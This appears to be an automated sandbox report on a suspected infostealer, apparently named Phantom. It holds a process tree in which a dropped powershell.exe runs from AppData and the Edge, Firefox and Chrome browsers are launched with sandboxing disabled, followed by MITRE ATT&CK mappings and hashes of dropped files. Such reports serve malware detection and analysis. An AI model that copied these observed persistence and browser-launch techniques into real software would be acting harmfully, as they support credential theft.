      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3516,i,11579732308302939383,16605560151725439536,524288 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:8
      4⤵
      PID:6104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3520,i,5878312556961609737,12135288971018809843,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      PID:2552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3572,i,13732530161641791013,6784144296280109168,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:2
      4⤵
      PID:5188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3624,i,18070951800355224328,10932803272593075438,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:1
      4⤵
      PID:3888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3656,i,14742401217648859270,1589084432461969727,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:2
      4⤵
      PID:3300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3748,i,13731958249421202601,2925220878466040459,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:1
      4⤵
      PID:980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3856,i,11515982590591649739,2260781357110867453,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3868 /prefetch:2
      4⤵
      PID:1724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3888,i,10565012612052797603,1570917142414522679,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:1
      4⤵
      PID:2360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3932,i,2248724087698327591,4054251870521827108,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3920 /prefetch:2
      4⤵
      PID:2296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3960,i,1460824051565519408,13372836651034658958,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3988 /prefetch:1
      4⤵
      PID:1992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3964,i,654791136335684464,17617239765920271944,2097152 --field-trial-handle=2736,i,2090786321580243062,7789345602180168581,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:2
      4⤵
      PID:2864
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\3ip0snsz.att"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\3ip0snsz.att
      4⤵
      Checks processor information in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3284
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2000 -prefsLen 27099 -prefMapHandle 2004 -prefMapSize 270279 -ipcHandle 2092 -initialChannelId {a8c8bd32-de91-4c8c-be5a-727e540e7871} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:3316
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2276 -prefsLen 27135 -prefMapHandle 2236 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {301c9958-a919-47ac-87ab-937bf8e98267} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:4648
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\5ed8cb8f-d81d-45ec-8b6f-f49f82852144.dmp"
        5⤵
        
        PID:3992
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2332 -prefsLen 27135 -prefMapHandle 2904 -prefMapSize 270279 -ipcHandle 2920 -initialChannelId {7ad0d085-d4c3-4886-9124-0d26be357e08} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:3036
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\333b8733-5aa0-4e0c-9b1a-0b4ebda8f3a2.dmp"
        5⤵
        
        PID:2888
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2920 -prefsLen 27135 -prefMapHandle 3036 -prefMapSize 270279 -ipcHandle 3024 -initialChannelId {ff9dbc66-b66f-4430-a325-34b9f6fdeea0} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:5376
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\37033dee-a3db-461c-a077-959b2fb35ec6.dmp"
        5⤵
        
        PID:4152
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3024 -prefsLen 27200 -prefMapHandle 3296 -prefMapSize 270279 -ipcHandle 3012 -initialChannelId {75e119d2-4ae9-477d-b31a-76fa5a12238c} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:3564
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\3757a021-60eb-41ab-b901-433a32e85d1c.dmp"
        5⤵
        
        PID:2320
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3296 -prefsLen 27200 -prefMapHandle 2948 -prefMapSize 270279 -ipcHandle 3552 -initialChannelId {0d8bcb65-e0b8-4588-a7a0-b2035f03a93e} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 gpu
        5⤵
        
        PID:5356
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3504 -prefsLen 27325 -prefMapHandle 3500 -prefMapSize 270279 -jsInitHandle 3520 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3856 -initialChannelId {4daf79ae-7cc6-47f2-b5b1-d78455ae38d1} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        5⤵
        Checks processor information in registry
        
        PID:4292
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\232f356a-f0e5-4ece-84eb-f3e816f2140c.dmp"
        5⤵
        
        PID:3628
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3548 -prefsLen 27325 -prefMapHandle 3836 -prefMapSize 270279 -ipcHandle 4080 -initialChannelId {96c04d11-7893-4ef3-a43b-10a50a3c75fa} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 gpu
        5⤵
        
        PID:3912
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\1df28dac-31ab-4fcc-9d3f-cefcae70003c.dmp"
        5⤵
        
        PID:5164
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4264 -prefsLen 27325 -prefMapHandle 4268 -prefMapSize 270279 -ipcHandle 4288 -initialChannelId {c82e1bfe-7f8e-40e4-8361-cddb1bafb621} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 rdd
        5⤵
        
        PID:4688
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2848 -prefsLen 34824 -prefMapHandle 2852 -prefMapSize 270279 -jsInitHandle 1372 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2860 -initialChannelId {aa11bf78-7fbb-420e-8e27-f2b29f37e178} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        5⤵
        Checks processor information in registry
        
        PID:6136
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 3576 -prefsLen 35012 -prefMapHandle 4076 -prefMapSize 270279 -ipcHandle 5008 -initialChannelId {cff8e8e0-3820-42eb-b23f-165b0a2d9179} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 utility
        5⤵
        Checks processor information in registry
        
        PID:6336
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5024 -prefsLen 32900 -prefMapHandle 5180 -prefMapSize 270279 -jsInitHandle 5184 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5192 -initialChannelId {9087576e-2026-402c-95c3-ab2c3bfd985e} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        5⤵
        Checks processor information in registry
        
        PID:6344
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5216 -prefsLen 32900 -prefMapHandle 5220 -prefMapSize 270279 -jsInitHandle 5224 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5232 -initialChannelId {147d95f5-af89-4299-9b81-9405e9335b8d} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        5⤵
        Checks processor information in registry
        
        PID:6356
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5600 -prefsLen 32900 -prefMapHandle 5604 -prefMapSize 270279 -jsInitHandle 5608 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5616 -initialChannelId {5adb0851-f96e-4b64-a9db-6436dd137e6b} -parentPid 3284 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3284" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
        5⤵
        Checks processor information in registry
        
        PID:6364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    PID:7048
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffa960ec728,0x7ffa960ec734,0x7ffa960ec740
      4⤵
      PID:3972
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1684,i,6317228442090582136,2090083211698386820,262144 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=2036 /prefetch:2
      4⤵
      PID:5248
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1928,i,1208230457870797345,11114049904754796101,524288 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:3
      4⤵
      System Time Discovery
      PID:5732
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,15431880109451719893,10209412965653806606,524288 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:8
      4⤵
      PID:4860
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2904,i,12585281521650559484,16335639765580780814,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:1
      4⤵
      PID:5660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2924,i,6362608876776873382,4977243879434421471,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=2692 /prefetch:1
      4⤵
      PID:3916
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3136,i,1675599793419440670,3781942531294117150,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
      4⤵
      PID:6048
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3148,i,4009964300845649347,18117898223465665132,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:2
      4⤵
      PID:1588
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4044,i,10580321042945502525,11475853798964993851,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=4064 /prefetch:1
      4⤵
      PID:448
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\czurv1gw.1ie" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4148,i,9148393849720813310,3573883836128558829,2097152 --field-trial-handle=2040,i,17378458745220744842,5404656039933546130,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:2
      4⤵
      PID:5804

C:\Users\Admin\AppData\Roaming\powershell.exe
C:\Users\Admin\AppData\Roaming\powershell.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5504

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 5KB
SHA256 47dd20574a0a22f49183cc6f6c2c1539cfa7d8eec4dd2382bf4b1bde3684dd91
MD5 775278cad4c87e703e9c414d314b4d57
SHA1 8ed3710fb96620e6320240a06266acc974ff4a3f
SHA512 79c024f8c8fb574a6516d39452c6a09fb790de170af8dc3095196f02f82683d32433b13217a8f0b9bf20c3fd011d65ab650162c8009aad13927b7fff612cf46f
SSDEEP 96:oP16TjJHu4xyUYzICG4fmHunHuuud4HuRueHuHTF5GQkGQiWNTgrGQmGQ8:EAA4xyr4GfOndZA3HTF5GNGnWN0rGFGP
TLSH
T12FC1CB47186849BF99C18112C6779F900F24373BBB88EC54EB35919D2429E3CBEDF40A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Phantom-DebugFile.log

Path C:\Users\Admin\AppData\Local\Temp\Phantom-DebugFile.log
Size 1KB
SHA256 82ffad83c334f3c661acebfad1f28746578da1c62710afe00fbc6b54d6ffdc0a
MD5 6e73d0911b73a38daea6b1471be7b738
SHA1 85a59d4b52ce86fbfdaf2ec77ffd3c29a80875d3
SHA512 a46450dfcad36aea3f344b61f940cac2365c7197da636a222bb6d03f4cadaabaa8f83b25e41084fce135230f17442f106e15df711e3971f2624b30232f011776
TLSH
T17D41F706156805BB8AC1416183375EE40F95777F2B08D894EF7491693922E7DBDEF40A
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_u3bjbybk.3yd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3bjbybk.3yd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p\Crashpad\settings.dat
Size 280B
SHA256 4692a992ff3092064779b5538e5a3f095bf5f38227fba7ea54b7fc6d3b615ec4
MD5 0e3d821583e687ff3a20a2f7acbb9780
SHA1 d0f3bca5f6f196528042ce5c50801cc6a793b1eb
SHA512 e3070be8f2e7f8e8599e25f4dbab0d84262b00f068bba7fb9a25cc7134824a0e353e603934e88655ebfcccb0d6085b2bca5347a45481ada90da5c7d9b4d41225
TLSH
T102D0220E33B8B020C080223E33F28EC02FA0CC20888AE22300C000808EC00303C8FBA0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\nlkke3xe.b1p\Local State
Size 4KB
SHA256 7d01d31b87ed5950f5d7bfcb191f3167f64e37ff5f8df147960760eef9740520
MD5 d75ba78812881ace2d497126e396e7ca
SHA1 c33fe63e5c7749d93c085cfcdf4e63b2cc51d0b5
